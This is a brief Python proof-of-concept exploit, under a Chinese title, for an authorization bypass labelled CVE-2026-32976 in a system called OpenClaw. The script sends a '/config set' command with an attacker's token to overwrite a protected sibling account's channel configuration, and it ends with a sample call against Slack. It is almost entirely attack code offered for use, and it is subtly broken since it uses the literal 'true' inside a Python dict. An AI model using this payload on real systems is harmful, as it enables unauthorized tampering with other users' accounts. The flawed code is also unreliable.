CVE-2026-32976 OpenClaw授权绕过漏洞

# PoC for CVE-2026-32976 # Exploits authorization bypass in OpenClaw via channel commands import requests def exploit_openclaw(target_url, attacker_token, target_account_id, provider): """ Attempts to modify a protected sibling account configuration. """ headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Malicious command payload to bypass configWrites: false payload = { "command": "/config set", "args": { "path": f"channels.{provider}.accounts.{target_account_id}", "value": { "configWrites": true, "malicious_setting": "pwned" } } } try: response = requests.post(f"{target_url}/api/command", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Configuration modified.") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except Exception as e: print(f"[!] Error: {e}") return False # Usage # exploit_openclaw("http://target:8080", "attacker_jwt_token", "victim_account_id", "slack")